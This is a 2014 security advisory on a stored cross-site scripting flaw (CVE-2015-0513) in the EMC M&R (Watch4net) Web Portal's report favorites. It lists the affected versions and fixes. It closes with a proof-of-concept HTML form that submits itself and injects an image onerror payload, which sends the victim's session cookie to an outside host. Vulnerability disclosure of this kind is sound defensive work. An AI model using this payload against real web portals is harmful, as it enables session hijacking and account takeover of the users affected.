Advisory

Han Sahin, November 2014

Cross-Site Scripting vulnerability in EMC M&R (Watch4net) Web Portal Report Favorites

Abstract

A Cross-Site Scripting vulnerability was found in EMC M&R (Watch4net) Web Portal. This issue allows attackers to replace the report that is shown at startup, the attackers payload will be stored in the user's profile and will be executed every time the victim logs in. The attacker-supplied code can perform a wide variety of actions, such as stealing victims' session tokens or login credentials, performing arbitrary actions on their behalf, logging their keystrokes, or exploit issues in other areas of Watch4net.

Affected products

EMC reports that the following products are affected by this vulnerability:

- EMC M&R (Watch4Net) versions prior 6.5u1
- EMC ViPR SRM versions prior to 3.6.1

See also

- CVE-2015-0513
- ESA-2015-004: EMC M&R (Watch4Net) Multiple Vulnerabilities
- ESA-2015-004: EMC M&R (Watch4Net) Multiple Vulnerabilities (login required)

Fix

EMC released the following updated versions that resolve this vulnerability:

- EMC M&R (Watch4Net) 6.5u1
- EMC ViPR SRM 3.6.1

Registered customers can download upgraded software from support.emc.com at https://support.emc.com/downloads/34247_ViPR-SRM.

Introduction

EMC M&R (formerly known as Watch4net) enables cross-domain performance monitoring of infrastructure and data center components in real-time - from a single, customizable dashboard.

EMC M&R (Watch4net) Web Portal users can save their favorite report and select which report should be shown at startup. The user-supplied description fields of the selected report is not properly encoded when presented on the screen, rendering the Web Portal vulnerable to Cross-Site Scripting.

Details

This vulnerability exists due to the fact that the description_0 POST parameter is not properly encoded when rendering the selected report. In order to exploit this issue, an attacker must trick a victim into opening a specially crafted web page, for example by send the link via email, posting the link on a (trusted) website or through other means.

This issue allows attackers to replace the report that is shown at startup, the attackers payload will be stored in the user's profile and will be executed every time the victim logs in. The attacker-supplied code can perform a wide variety of actions, such as stealing victims' session tokens or login credentials, performing arbitrary actions on their behalf, logging their keystrokes, or exploit issues in other areas of Watch4net.

The following proof of concept demonstrates this issue. It will use JavaScript to send the session cookie(s) to an attacker controlled website.

<html>
   <body>
      <form action="http://<target>:58080/APG/form" method="POST">
         <input type="hidden" name="form&#45;id" value="FavoriteForm" />
         <input type="hidden" name="favorite&#45;count" value="1" />
         <input type="hidden" name="ident&#95;0" value="Operations" />
         <input type="hidden" name="name&#95;0" value="XSS" />
         <input type="hidden" name="description&#95;0" value="&#63;report&amp;select&#61;0&#45;a&amp;display&#61;0&amp;mode&#61;srt&amp;statistics&#61;none&amp;lower&#61;0&#46;0&amp;upper&#61;&amp;type&#61;3&amp;period&#61;3600&amp;durationType&#61;l&amp;duration&#61;1w&amp;itz&#61;Europe&#37;2FBerlin&quot;&gt;&lt;img&#32;src&#61;x&#32;onerror&#61;this&#46;src&#61;&apos;https&#58;&#47;&#47;www&#46;securify&#46;nl&#47;&#63;c&#61;&apos;&#43;document&#46;cookie&gt;" />
         <input type="hidden" name="home" value="home&#95;0" />
         <input type="submit" value="Submit request" />
      </form>
      <script>
         document.forms[0].submit();
      </script>
   </body>
</html>

Latest News & Research

Work with us →